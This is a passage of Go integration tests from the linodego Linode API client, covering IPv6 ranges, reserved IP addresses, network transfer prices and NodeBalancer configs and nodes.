client, validResIP.Address) invalidLinodeErr := client.InstancesAssignIPs(context.Background(), LinodesAssignIPsOptions{ Region: linode1.Region, Assignments: []LinodeIPAssignment{ { Address: validResIP.Address, LinodeID: 99999, // Assume this is a non-owned Linode ID }, }, }) if invalidLinodeErr == nil { t.Fatal("Expected error when assigning to non-owned Linode, got nil") } } golang-github-linode-linodego-1.47.0/test/integration/network_pools_test.go000066400000000000000000000017371474652371000272160ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/stretchr/testify/require" ) func TestIPv6Pool_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestIPv6Pool_List") defer teardown() ipv6Pools, err := client.ListIPv6Pools(context.Background(), nil) require.NoError(t, err, "Error getting IPv6 Pools, expected struct") require.NotEmpty(t, ipv6Pools, "Expected to see IPv6 pools returned") require.Equal(t, "1234::5678/32", ipv6Pools[0].Range, "Expected IPv6 pool range '1234::5678/32'") } func TestIPv6Pool_Get(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestIPv6Pool_Get") defer teardown() ipv6Pool, err := client.GetIPv6Pool(context.Background(), "1234::5678/32") require.NoError(t, err, "Error getting IPv6 Pool, expected struct") require.Equal(t, "1234::5678/32", ipv6Pool.Range, "Expected IPv6 pool range '1234::5678/32'") require.Equal(t, "us-east", ipv6Pool.Region, "Expected IPv6 pool region 'us-east'") } golang-github-linode-linodego-1.47.0/test/integration/network_ranges_test.go000066400000000000000000000110321474652371000273260ustar00rootroot00000000000000package integration import ( "context" "fmt" "log" "reflect" "strings" "testing" "github.com/google/go-cmp/cmp" . "github.com/linode/linodego" ) var testIPv6RangeCreateOptions = IPv6RangeCreateOptions{ PrefixLength: 64, } func TestIPv6Range_Instance_List(t *testing.T) { client, ipRange, inst, err := setupIPv6RangeInstance(t, []ipv6RangeModifier{}, "fixtures/TestIPv6Range_Instance_List") if err != nil { t.Fatal(err) } filter := Filter{} filter.AddField(Eq, "region", inst.Region) filterStr, err := filter.MarshalJSON() if err != nil { log.Fatal(err) } result, err := client.ListIPv6Ranges(context.Background(), &ListOptions{Filter: string(filterStr)}) if err != nil { t.Errorf("Error listing IPv6 Ranges, expected struct, got error %v", err) } for _, r := range result { if r.RouteTarget == ipRange.RouteTarget && fmt.Sprintf("%s/%d", r.Range, r.Prefix) == ipRange.Range { // Ensure GET returns the correct details rangeView, err := client.GetIPv6Range(context.Background(), r.Range) if err != nil { t.Errorf("failed to get ipv6 range: %s", err) } rangeCommonFields := []IPv6Range{ {Range: r.Range, Prefix: r.Prefix, Region: r.Region}, {Range: rangeView.Range, Prefix: rangeView.Prefix, Region: rangeView.Region}, } if !reflect.DeepEqual(rangeCommonFields[0], rangeCommonFields[1]) { t.Errorf("ipv6 range view does not match result from list: %s", cmp.Diff(rangeCommonFields[0], rangeCommonFields[1])) } return } } t.Errorf("failed to find ipv6 range with matching range") } func TestIPv6Range_Share(t *testing.T) { client, ipRange, origInst, err := setupIPv6RangeInstance(t, []ipv6RangeModifier{}, "fixtures/TestIPv6Range_Share") if err != nil { t.Fatal(err) } inst, err := createInstance(t, client, true, func(client *Client, inst *InstanceCreateOptions) { inst.Label = "go-ins-test-share6" inst.Region = origInst.Region }) if err != nil { t.Fatal(err) } t.Cleanup(func() { if err := client.DeleteInstance(context.Background(), inst.ID); err != nil { if t != nil { t.Errorf("Error deleting test Instance: %s", err) } } }) // Share the ip with the new instance err = client.ShareIPAddresses(context.Background(), IPAddressesShareOptions{ LinodeID: origInst.ID, IPs: []string{ strings.TrimSuffix(ipRange.Range, "/64"), }, }) if err != nil { t.Fatal(err) } err = client.ShareIPAddresses(context.Background(), IPAddressesShareOptions{ LinodeID: inst.ID, IPs: []string{ strings.TrimSuffix(ipRange.Range, "/64"), }, }) if err != nil { t.Fatal(err) } ips, err := client.GetInstanceIPAddresses(context.Background(), inst.ID) if err != nil { t.Fatal(err) } if len(ips.IPv6.Global) < 1 { t.Fatal("invalid number of global ipv6 addresses") } if ips.IPv6.Global[0].Range != strings.TrimSuffix(ipRange.Range, "/64") { t.Fatal("ipv6 address does not match") } } type ipv6RangeModifier func(options *IPv6RangeCreateOptions) func createIPv6Range(t *testing.T, client *Client, ipv6RangeModifiers ...ipv6RangeModifier) (*IPv6Range, error) { t.Helper() createOpts := testIPv6RangeCreateOptions for _, modifier := range ipv6RangeModifiers { modifier(&createOpts) } ipRange, err := client.CreateIPv6Range(context.Background(), createOpts) if err != nil { t.Errorf("failed to create ipv6 range: %s", err) } t.Cleanup(func() { rangeSegments := strings.Split(ipRange.Range, "/") if err := client.DeleteIPv6Range(context.Background(), strings.Join(rangeSegments[:len(rangeSegments)-1], "/")); err != nil { t.Errorf("failed to delete ipv6 range: %s", err) } }) return ipRange, nil } func setupIPv6RangeInstance(t *testing.T, ipv6RangeModifiers []ipv6RangeModifier, fixturesYaml string) (*Client, *IPv6Range, *Instance, error) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) t.Cleanup(fixtureTeardown) instance, err := createInstance(t, client, true, func(client *Client, inst *InstanceCreateOptions) { inst.Label = "go-ins-test-range6" // This should stay hard-coded until IPv6 sharing has a // corresponding capability. inst.Region = "eu-west" }) if err != nil { t.Fatal(err) } t.Cleanup(func() { if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { if t != nil { t.Errorf("Error deleting test Instance: %s", err) } } }) ipv6RangeModifiers = append(ipv6RangeModifiers, func(options *IPv6RangeCreateOptions) { options.LinodeID = instance.ID }) ipRange, err := createIPv6Range(t, client, ipv6RangeModifiers...) return client, ipRange, instance, err } golang-github-linode-linodego-1.47.0/test/integration/network_reserved_ips_test.go000066400000000000000000000366331474652371000305570ustar00rootroot00000000000000package integration import ( "context" "strings" "testing" "github.com/linode/linodego" . "github.com/linode/linodego" ) // TestReservedIPAddresses_InsufficientPermissions tests the behavior when a user account // doesn't have the permission to use the Reserved IP feature func TestReservedIPAddresses_InsufficientPermissions(t *testing.T) { original := validTestAPIKey dummyToken := "badtoken" validTestAPIKey = dummyToken client, teardown := createTestClient(t, "fixtures/TestReservedIPAddresses_InsufficientPermissions") defer teardown() defer func() { validTestAPIKey = original }() filter := "" ips, listErr := client.ListReservedIPAddresses(context.Background(), NewListOptions(0, filter)) if listErr == nil { t.Errorf("Expected error due to insufficient permissions, but got none %v", ips) } else { t.Logf("Correctly received error when listing IP addresses: %v", listErr) } if len(ips) != 0 { t.Errorf("Expected no IP addresses due to insufficient permissions, but got some: %v", ips) } // Attempt to reserve an IP address resIP, resErr := client.ReserveIPAddress(context.Background(), ReserveIPOptions{ Region: "us-east", }) if resErr == nil { t.Errorf("Expected error when reserving IP due to insufficient permissions, but got none") } else { t.Logf("Correctly received %v and error when reserving IP: %v", resIP, resErr) } // Attempt to get a reserved IP address address := "172.28.3.4" ip, getErr := client.GetReservedIPAddress(context.Background(), address) if getErr == nil { t.Errorf("Expected error when getting IP address due to insufficient permissions, but got none") } else { t.Logf("Correctly received %v for IP Address and error when getting IP address: %v", ip, getErr) } // Attempt to delete a reserved IP address delAddr := "172.28.3.4" delErr := client.DeleteReservedIPAddress(context.Background(), delAddr) if delErr == nil { t.Errorf("Expected error when deleting IP address due to insufficient permissions, but got none") } else { t.Logf("Correctly received error when deleting IP address: %v", delErr) } } // TestReservedIPAddresses_EndToEndTest performs an end-to-end test of the Reserved IP functionality // for users with the can_reserve_ip flag enabled func TestReservedIPAddresses_EndToEndTest(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestReservedIPAddresses_EndToEndTest") defer teardown() filter := "" ipList, err := client.ListReservedIPAddresses(context.Background(), NewListOptions(0, filter)) if err != nil { t.Fatalf("Error listing IP addresses: %v", err) } initialCount := len(ipList) // Attempt to reserve an IP resIP, resErr := client.ReserveIPAddress(context.Background(), ReserveIPOptions{ Region: "us-east", }) if resErr != nil { t.Fatalf("Failed to reserve IP. This test expects the user to have 0 prior reservations and the ip_reservation_limit to be 2. Error from the API: %v", resErr) } t.Logf("Successfully reserved IP: %+v", resIP) // Fetch the reserved IP fetchedIP, fetchErr := client.GetReservedIPAddress(context.Background(), resIP.Address) if fetchErr != nil { t.Errorf("Error getting reserved IP address: %v", fetchErr) } if fetchedIP == nil { t.Errorf("Expected %s but got nil indicating a failure in fetching the reserved IP", resIP.Address) } // Verify the list of IPs has increased verifyList, verifyErr := client.ListReservedIPAddresses(context.Background(), NewListOptions(0, filter)) if verifyErr != nil { t.Fatalf("Error listing IP addresses after reservation: %v", verifyErr) } if len(verifyList) != initialCount+1 { t.Errorf("Expected IP count to increase by 1, got %d, want %d", len(verifyList), initialCount+1) } // Delete the reserved IP delErr := client.DeleteReservedIPAddress(context.Background(), resIP.Address) if delErr != nil { t.Fatalf("Error deleting reserved IP address: %v", delErr) } // Verify the IP has been deleted _, fetchDelErr := client.GetReservedIPAddress(context.Background(), resIP.Address) if fetchDelErr == nil { t.Errorf("Expected error when fetching %s, got nil", resIP.Address) } verifyDelList, verifyDelErr := client.ListReservedIPAddresses(context.Background(), NewListOptions(0, filter)) if verifyDelErr != nil { t.Fatalf("Error listing IP addresses after deletion: %v", verifyDelErr) } if len(verifyDelList) != initialCount { t.Errorf("Expected IP count to return to initial count, got %d, want %d", len(verifyDelList), initialCount) } } // TestReservedIPAddresses_ListIPAddressesVariants tests filters for listing IP addresses func TestReservedIPAddresses_ListIPAddressesVariants(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestReservedIPAddresses_ListIPAddressesVariants") defer teardown() expected_ips := 2 // Reserve two IP addresses in us-east region reservedIPs := make([]string, expected_ips) for i := 0; i < expected_ips; i++ { reserveIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{ Region: "us-east", }) if err != nil { t.Fatalf("Failed to reserve IP %d: %v", i+1, err) } reservedIPs[i] = reserveIP.Address t.Logf("Successfully reserved IP %d: %s", i+1, reserveIP.Address) } // Defer cleanup of reserved IPs defer func() { for _, ip := range reservedIPs { err := client.DeleteReservedIPAddress(context.Background(), ip) if err != nil { t.Errorf("Failed to delete reserved IP %s: %v", ip, err) } } }() // Create ListOptions with the filter for reserved IPs in us-east region listOptions := linodego.ListOptions{ PageOptions: &linodego.PageOptions{ Page: 0, }, Filter: "{\"reserved\":true,\"region\":\"us-east\"}", } ipList, err := client.ListIPAddresses(context.Background(), &listOptions) if err != nil { t.Fatalf("Error listing reserved IP addresses in us-east: %v", err) } t.Logf("Retrieved %d reserved IP addresses in us-east", len(ipList)) // Check if at least the two reserved IPs are in the list foundReservedIPs := 0 for _, ip := range ipList { if !ip.Reserved { t.Errorf("Expected all IPs to be reserved, but found non-reserved IP: %s", ip.Address) } if ip.Region != "us-east" { t.Errorf("Expected all IPs to be in us-east region, but found IP in %s region: %s", ip.Region, ip.Address) } for _, reservedIP := range reservedIPs { if ip.Address == reservedIP { foundReservedIPs++ break } } } if foundReservedIPs != expected_ips { t.Errorf("Expected %d but found %d while listing reserved IP addresses", expected_ips, foundReservedIPs) } } // TestReservedIPAddresses_GetIPAddressVariants tests various scenarios for getting a specific IP address func TestReservedIPAddresses_GetIPAddressVariants(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestReservedIPAddresses_GetIPAddressVariants") defer teardown() // Reserve an IP for testing resIP, resErr := client.ReserveIPAddress(context.Background(), ReserveIPOptions{ Region: "us-east", }) if resErr != nil { t.Fatalf("Failed to reserve IP. This test expects the user to have 0 prior reservations and the ip_reservation_limit to be 2. Error from the API: %v", resErr) } if resIP == nil { t.Fatalf("Reserved IP is nil") } t.Logf("Successfully reserved IP: %+v", resIP) // Test getting a valid reserved IP validIP, fetchErr := client.GetReservedIPAddress(context.Background(), resIP.Address) if fetchErr != nil { t.Errorf("Error getting valid reserved IP address: %v", fetchErr) } if validIP == nil { t.Errorf("Retrieved valid reserved IP is nil") } else { if validIP.Address != resIP.Address { t.Errorf("Retrieved IP address does not match reserved IP address. Got %s, want %s", validIP.Address, resIP.Address) } } // Test getting an invalid IP invalidIP := "999.999.999.999" _, invalidFetchErr := client.GetReservedIPAddress(context.Background(), invalidIP) if invalidFetchErr == nil { t.Errorf("Expected error when fetching invalid IP, got nil") } // Clean up: Delete the reserved IP delErr := client.DeleteReservedIPAddress(context.Background(), resIP.Address) if delErr != nil { t.Errorf("Failed to delete reserved IP: %v", delErr) } } // TestReservedIPAddresses_ReserveIPVariants tests various scenarios for reserving an IP address func TestReservedIPAddresses_ReserveIPAddressVariants(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestReservedIPAddresses_ReserveIPVariants") defer teardown() // Slice to keep track of all reserved IPs var reservedIPs []string // Helper function to clean up reserved IPs cleanupIPs := func() { for _, ip := range reservedIPs { err := client.DeleteReservedIPAddress(context.Background(), ip) if err != nil { t.Errorf("Failed to delete reserved IP %s: %v", ip, err) } } } defer cleanupIPs() // Test reserving IP with omitted region _, omitErr := client.ReserveIPAddress(context.Background(), ReserveIPOptions{}) if omitErr == nil { t.Errorf("Expected error when reserving IP with omitted region, got nil") } // Test reserving IP with invalid region _, invalidErr := client.ReserveIPAddress(context.Background(), ReserveIPOptions{Region: "us"}) if invalidErr == nil { t.Errorf("Expected error when reserving IP with invalid region, got nil") } // Test reserving IP with empty region _, emptyErr := client.ReserveIPAddress(context.Background(), ReserveIPOptions{Region: ""}) if emptyErr == nil { t.Errorf("Expected error when reserving IP with empty region, got nil") } // Make 2 valid IP Reservations for i := 0; i < 2; i++ { reserveIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{ Region: "us-east", }) if err != nil { t.Fatalf("Failed to reserve IP %d: %v", i+1, err) } reservedIPs = append(reservedIPs, reserveIP.Address) t.Logf("Successfully reserved IP %d: %s", i+1, reserveIP.Address) } } func TestReservedIPAddresses_ExceedLimit(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestReservedIPAddresses_ExceedLimit") defer teardown() // Slice to keep track of all reserved IPs var reservedIPs []string // Helper function to clean up reserved IPs cleanupIPs := func() { for _, ip := range reservedIPs { err := client.DeleteReservedIPAddress(context.Background(), ip) if err != nil { t.Errorf("Failed to delete reserved IP %s: %v", ip, err) } } } defer cleanupIPs() // Reserve IPs until the limit is reached and assert the error message for i := 0; i < 100; i++ { reservedIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{ Region: "us-east", }) if err != nil { expectedErrorMessage := "[400] Additional Reserved IPv4 addresses require technical justification." if !strings.Contains(err.Error(), expectedErrorMessage) { t.Errorf("Expected error message to contain '%s', but got: %v", expectedErrorMessage, err) } else { t.Logf("Failed to reserve IP %d as expected: %v", i+1, err) } break } reservedIPs = append(reservedIPs, reservedIP.Address) if i == 99 { t.Errorf("Expected to hit reservation limit, but did not reach it after 100 attempts") } } } // TestReservedIPAddresses_DeleteIPAddressVariants tests various scenarios for deleting a reserved IP address func TestReservedIPAddresses_DeleteIPAddressVariants(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestReservedIPAddresses_DeleteIPAddressVariants") defer teardown() validRes, validErr := client.ReserveIPAddress(context.Background(), ReserveIPOptions{Region: "us-east"}) if validErr != nil { t.Fatalf("Failed to reserve IP. This test should start with 0 reservations or reservations < limit. Error from the API: %v", validErr) } if validRes == nil { t.Fatalf("Valid reservation returned nil IP") } t.Logf("Successfully reserved IP: %+v", validRes) filter := "" ipList, listErr := client.ListReservedIPAddresses(context.Background(), NewListOptions(0, filter)) if listErr != nil { t.Fatalf("Error listing IP addresses: %v", listErr) } if len(ipList) == 0 { t.Fatalf("No reserved IPs available for testing deletion") } delErr := client.DeleteReservedIPAddress(context.Background(), validRes.Address) if delErr != nil { t.Fatalf("Failed to delete reserved IP address: %v", delErr) } // Verify deletion verifyDelList, verifyDelErr := client.ListReservedIPAddresses(context.Background(), NewListOptions(0, filter)) if verifyDelErr != nil { t.Fatalf("Error listing IP addresses after deletion: %v", verifyDelErr) } if len(verifyDelList) >= len(ipList) { t.Errorf("IP address deletion not confirmed. Expected count < %d, got %d", len(ipList), len(verifyDelList)) } _, fetchDelErr := client.GetReservedIPAddress(context.Background(), validRes.Address) if fetchDelErr == nil { t.Errorf("Expected error when fetching deleted IP, got nil") } // Test deleting an unowned IP unownedIP := "255.255.255.4" delUnownedErr := client.DeleteReservedIPAddress(context.Background(), unownedIP) if delUnownedErr == nil { t.Errorf("Expected error when deleting unowned IP, got nil") } } func TestReservedIPAddresses_GetIPReservationStatus(t *testing.T) { client, teardown := createTestClient(t, "TestReservedIPAddresses_GetInstanceIPReservationStatus") defer teardown() // Create a Linode with a reserved IP reservedIP, err := client.ReserveIPAddress(context.Background(), linodego.ReserveIPOptions{Region: "us-east"}) if err != nil { t.Fatalf("Failed to reserve IP: %v", err) } defer func() { err := client.DeleteReservedIPAddress(context.Background(), reservedIP.Address) if err != nil { t.Errorf("Failed to delete reserved IP: %v", err) } }() instanceWithReservedIP, instanceTeardown, err := createInstanceWithReservedIP(t, client, reservedIP.Address) if err != nil { t.Fatalf("Error creating instance with reserved IP: %s", err) } defer instanceTeardown() // Make GET request for the Linode with reserved IP instanceAddresses, err := client.GetInstanceIPAddresses(context.Background(), instanceWithReservedIP.ID) if err != nil { t.Fatalf("Failed to get instance info for Linode with reserved IP: %v", err) } // Check if the 'reserved' field is set to true foundReserved := false for _, ip := range instanceAddresses.IPv4.Public { if ip.Address == reservedIP.Address { if !ip.Reserved { t.Errorf("Expected 'Reserved' field to be true for reserved IP %s, but it was false", ip.Address) } foundReserved = true break } } if !foundReserved { t.Errorf("Reserved IP %s not found in instance's public IP addresses", reservedIP.Address) } // Create a Linode with an ephemeral IP instanceWithEphemeralIP, err := client.CreateInstance(context.Background(), linodego.InstanceCreateOptions{ Region: "us-east", Type: "g6-nanode-1", Label: "test-instance-ephemeral-ip", RootPass: randPassword(), }) if err != nil { t.Fatalf("Failed to create Linode with ephemeral IP: %v", err) } defer func() { if err := client.DeleteInstance(context.Background(), instanceWithEphemeralIP.ID); err != nil { t.Errorf("Error deleting test Instance with ephemeral IP: %s", err) } }() // Make GET request for the Linode with ephemeral IP ephemeralInstanceAddresses, err := client.GetInstanceIPAddresses(context.Background(), instanceWithEphemeralIP.ID) if err != nil { t.Fatalf("Failed to get instance IP addresses for Linode with ephemeral IP: %v", err) } // Check that all public IPs have 'Reserved' field set to false for _, ip := range ephemeralInstanceAddresses.IPv4.Public { if ip.Reserved { t.Errorf("Expected 'Reserved' field to be false for ephemeral IP %s, but it was true", ip.Address) } } } golang-github-linode-linodego-1.47.0/test/integration/network_transfer_prices_test.go000066400000000000000000000017201474652371000312430ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" "github.com/stretchr/testify/require" ) func TestNetworkTransferPrice_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestNetworkTransferPrice_List") defer teardown() prices, err := client.ListNetworkTransferPrices(context.Background(), nil) require.NoError(t, err) require.Greater(t, len(prices), 0) for _, price := range prices { validateNetworkTransferPrice(t, price) } } func validateNetworkTransferPrice( t *testing.T, price linodego.NetworkTransferPrice, ) { require.NotEmpty(t, price.ID) require.NotEmpty(t, price.Label) // NOTE: We do not check for monthly prices here because it is // explicitly set to null. require.Greater(t, price.Price.Hourly, 0.0) require.GreaterOrEqual(t, price.Transfer, 0) for _, regionPrice := range price.RegionPrices { require.NotEmpty(t, regionPrice.ID) require.Greater(t, regionPrice.Hourly, 0.0) } } golang-github-linode-linodego-1.47.0/test/integration/nodebalancer_config_nodes_test.go000066400000000000000000000144111474652371000314340ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) var ( testNodePort = "8080" testNodeLabel = "go-node-test-def" testNodeWeight = 10 testNodeBalancerNodeCreateOpts = linodego.NodeBalancerNodeCreateOptions{ Label: testNodeLabel, Weight: testNodeWeight, Mode: linodego.ModeAccept, } ) func TestNodeBalancerNode_Create_smoke(t *testing.T) { _, _, _, node, teardown, err := setupNodeBalancerNode(t, "fixtures/TestNodeBalancerNode_Create") defer teardown() if err != nil { t.Errorf("Error creating NodeBalancer Node, got error %v", err) } expected := testNodeBalancerNodeCreateOpts if node.Label != expected.Label || node.Weight != expected.Weight || node.Mode != expected.Mode { t.Errorf("NodeBalancerNode did not match CreateOptions - %v", node) } } func TestNodeBalancerNode_Update(t *testing.T) { client, nodebalancer, config, node, teardown, err := setupNodeBalancerNode(t, "fixtures/TestNodeBalancerNode_Update") defer teardown() if err != nil { t.Error(err) } updateOpts := linodego.NodeBalancerNodeUpdateOptions{ Mode: linodego.ModeDrain, Weight: testNodeWeight + 90, Label: testNodeLabel + "_r", } nodeUpdated, err := client.UpdateNodeBalancerNode(context.Background(), nodebalancer.ID, config.ID, node.ID, updateOpts) if err != nil { t.Errorf("Error updating NodeBalancer Node, %s", err) } // fixture sanitization breaks predictability for this test, verify the prefix if string(updateOpts.Mode) != string(nodeUpdated.Mode) || updateOpts.Label != nodeUpdated.Label || updateOpts.Weight != nodeUpdated.Weight { t.Errorf("NodeBalancerNode did not match UpdateOptions") } } func TestNodeBalancerNodes_List(t *testing.T) { client, nodebalancer, config, _, teardown, err := setupNodeBalancerNode(t, "fixtures/TestNodeBalancerNodes_List") defer teardown() if err != nil { t.Error(err) } listOpts := linodego.NewListOptions(0, "") nodes, err := client.ListNodeBalancerNodes(context.Background(), nodebalancer.ID, config.ID, listOpts) if err != nil { t.Errorf("Error listing nodebalancers nodes, expected array, got error %v", err) } if len(nodes) != listOpts.Results { t.Errorf("Expected ListNodeBalancerNodes to match API result count") } } func TestNodeBalancerNodes_ListMultiplePages(t *testing.T) { // TODO: replace hand crafted fixtures with unit tests // This fixture was hand-crafted to render an empty page 1 result, with a single result on page 2 // "results:1,data:[],page:1,pages:2" .. "results:1,data[{...}],page:2,pages:2" client, nodebalancer, config, _, teardown, err := setupNodeBalancerNode(t, "fixtures/TestNodeBalancerNodes_ListMultiplePages") defer teardown() if err != nil { t.Error(err) } listOpts := linodego.NewListOptions(0, "") nodes, err := client.ListNodeBalancerNodes(context.Background(), nodebalancer.ID, config.ID, listOpts) if err != nil { t.Errorf("Error listing nodebalancers configs, expected array, got error %v", err) } if len(nodes) != listOpts.Results { t.Errorf("Expected ListNodeBalancerNodes count to match API results count") } } func TestNodeBalancerNode_Get(t *testing.T) { client, nodebalancer, config, node, teardown, err := setupNodeBalancerNode(t, "fixtures/TestNodeBalancerNode_Get") defer teardown() if err != nil { t.Error(err) } nodeGot, err := client.GetNodeBalancerNode(context.Background(), nodebalancer.ID, config.ID, node.ID) if nodeGot.Address != node.Address { t.Errorf("GetNodeBalancerNode did not get the expected node") } if err != nil { t.Errorf("Error getting nodebalancer %d, got error %v", nodebalancer.ID, err) } } func TestNodeBalancer_Rebuild(t *testing.T) { client, nodebalancer, config, node, teardown, err := setupNodeBalancerNode(t, "fixtures/TestNodeBalancer_Rebuild") defer teardown() if err != nil { t.Error(err) } nbcRebuildOpts := config.GetRebuildOptions() nbcRebuildOpts.Nodes = append( nbcRebuildOpts.Nodes, linodego.NodeBalancerConfigRebuildNodeOptions{ NodeBalancerNodeCreateOptions: node.GetCreateOptions(), ID: node.ID, }, ) nbcGot, err := client.RebuildNodeBalancerConfig( context.Background(), nodebalancer.ID, config.ID, nbcRebuildOpts, ) if err != nil { t.Errorf("Error rebuilding nodebalancer config %d: %v", config.ID, err) } if nbcGot.Port != config.Port { t.Errorf("RebuildNodeBalancerConfig did not return the expected port") } newNodes, err := client.ListNodeBalancerNodes( context.Background(), nodebalancer.ID, nbcGot.ID, nil, ) if err != nil { t.Fatal(err) } if newNodes[0].ID != node.ID { t.Fatalf("expected node ID to match; %d != %d", newNodes[0].ID, node.ID) } } func setupNodeBalancerNode(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.NodeBalancer, *linodego.NodeBalancerConfig, *linodego.NodeBalancerNode, func(), error) { t.Helper() var fixtureTeardown func() client, nodebalancer, config, fixtureTeardown, err := setupNodeBalancerConfig(t, fixturesYaml) if err != nil { t.Fatalf("Error creating nodebalancer config, got error %v", err) } instance, err := createInstance(t, client, true) if err != nil { t.Errorf("failed to create test instance: %s", err) } instanceIP, err := client.AddInstanceIPAddress(context.Background(), instance.ID, false) if err != nil { t.Fatal(err) } createOpts := testNodeBalancerNodeCreateOpts createOpts.Address = instanceIP.Address + ":" + testNodePort node, err := client.CreateNodeBalancerNode(context.Background(), nodebalancer.ID, config.ID, createOpts) if err != nil { t.Fatalf("Error creating NodeBalancer Config Node, got error %v", err) } teardown := func() { // delete the NodeBalancerNode to exercise the code if err := client.DeleteNodeBalancerNode(context.Background(), nodebalancer.ID, config.ID, node.ID); err != nil { e, ok := err.(*linodego.Error) // Tollerate 404 because Rebuild testing will delete all Nodes if !ok || e.Code != 404 { t.Fatalf("Expected to delete a NodeBalancer Config Node, but got %v", err) } } // delete the instance if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { if t != nil { t.Errorf("Error deleting test Instance: %s", err) } } fixtureTeardown() } return client, nodebalancer, config, node, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/nodebalancer_configs_test.go000066400000000000000000000107471474652371000304370ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) var testNodeBalancerConfigCreateOpts = linodego.NodeBalancerConfigCreateOptions{ Port: 80, Protocol: linodego.ProtocolHTTP, Algorithm: linodego.AlgorithmRoundRobin, CheckInterval: 60, } func TestNodeBalancerConfig_Create_smoke(t *testing.T) { _, _, config, teardown, err := setupNodeBalancerConfig(t, "fixtures/TestNodeBalancerConfig_Create") defer teardown() if err != nil { t.Errorf("Error creating NodeBalancer Config, got error %v", err) } expected := testNodeBalancerConfigCreateOpts // cant compare Target, fixture IPs are sanitized if config.Port != expected.Port || config.Protocol != expected.Protocol { t.Errorf("NodeBalancerConfig did not match CreateOptions") } } func TestNodeBalancerConfig_Update(t *testing.T) { client, nodebalancer, config, teardown, err := setupNodeBalancerConfig(t, "fixtures/TestNodeBalancerConfig_Update") defer teardown() if err != nil { t.Error(err) } updateOpts := linodego.NodeBalancerConfigUpdateOptions{ Port: 8080, Protocol: linodego.ProtocolTCP, ProxyProtocol: linodego.ProxyProtocolV2, Algorithm: linodego.AlgorithmLeastConn, } configUpdated, err := client.UpdateNodeBalancerConfig(context.Background(), nodebalancer.ID, config.ID, updateOpts) if err != nil { t.Errorf("Error updating NodeBalancer Config, %s", err) } if configUpdated.Port != updateOpts.Port || string(updateOpts.Algorithm) != string(configUpdated.Algorithm) || string(updateOpts.Protocol) != string(configUpdated.Protocol) || string(updateOpts.ProxyProtocol) != string(configUpdated.ProxyProtocol) { t.Errorf("NodeBalancerConfig did not match UpdateOptions") } } func TestNodeBalancerConfigs_List(t *testing.T) { client, nodebalancer, _, teardown, err := setupNodeBalancerConfig(t, "fixtures/TestNodeBalancerConfigs_List") defer teardown() if err != nil { t.Error(err) } listOpts := linodego.NewListOptions(0, "") configs, err := client.ListNodeBalancerConfigs(context.Background(), nodebalancer.ID, listOpts) if err != nil { t.Errorf("Error listing nodebalancers configs, expected array, got error %v", err) } if len(configs) != listOpts.Results { t.Errorf("Expected ListNodeBalancerConfigs to match API result count") } } func TestNodeBalancerConfigs_ListMultiplePages(t *testing.T) { // This fixture was hand-crafted to render an empty page 1 result, with a single result on page 2 // "results:1,data:[],page:1,pages:2" .. "results:1,data[{...}],page:2,pages:2" client, nodebalancer, _, teardown, err := setupNodeBalancerConfig(t, "fixtures/TestNodeBalancerConfigs_ListMultiplePages") defer teardown() if err != nil { t.Error(err) } listOpts := linodego.NewListOptions(0, "") configs, err := client.ListNodeBalancerConfigs(context.Background(), nodebalancer.ID, listOpts) if err != nil { t.Errorf("Error listing nodebalancers configs, expected array, got error %v", err) } if len(configs) != listOpts.Results { t.Errorf("Expected ListNodeBalancerConfigs count to match API results count") } } func TestNodeBalancerConfig_Get(t *testing.T) { client, nodebalancer, config, teardown, err := setupNodeBalancerConfig(t, "fixtures/TestNodeBalancerConfig_Get") defer teardown() if err != nil { t.Error(err) } configGot, err := client.GetNodeBalancerConfig(context.Background(), nodebalancer.ID, config.ID) if configGot.Port != config.Port { t.Errorf("GetNodeBalancerConfig did not get the expected config") } if err != nil { t.Errorf("Error getting nodebalancer %d, got error %v", nodebalancer.ID, err) } } func setupNodeBalancerConfig(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.NodeBalancer, *linodego.NodeBalancerConfig, func(), error) { t.Helper() var fixtureTeardown func() client, nodebalancer, fixtureTeardown, err := setupNodeBalancer(t, fixturesYaml) if err != nil { t.Fatalf("Error creating nodebalancer, got error %v", err) } createOpts := testNodeBalancerConfigCreateOpts config, err := client.CreateNodeBalancerConfig(context.Background(), nodebalancer.ID, createOpts) if err != nil { t.Fatalf("Error creating NodeBalancer Config, got error %v", err) } teardown := func() { // delete the NodeBalancerConfig to exercise the code if err := client.DeleteNodeBalancerConfig(context.Background(), nodebalancer.ID, config.ID); err != nil { t.Fatalf("Expected to delete a NodeBalancer Config, but got %v", err) } fixtureTeardown() } return client, nodebalancer, config, teardown, err } golang-github-linode-linodego-1.47.0/test/integration/nodebalancer_firewalls_test.go000066400000000000000000000010531474652371000307650ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestNodeBalancerFirewalls_List_smoke(t *testing.T) { client, nodebalancer, teardown, err := setupNodeBalancer(t, "fixtures/TestNodeBalancerFirewalls_List") if err != nil { t.Error(err) } defer teardown() result, err := client.ListNodeBalancerFirewalls(context.Background(), nodebalancer.ID, nil) if err != nil { t.Errorf("Error listing Firewalls, expected struct, got error %v", err) } if len(result) == 0 { t.Errorf("Expected a list of Firewalls, but got none: %v", err) } } golang-github-linode-linodego-1.47.0/test/integration/nodebalancer_stats_test.go000066400000000000000000000017341474652371000301410ustar00rootroot00000000000000package integration import ( "context" "testing" "time" 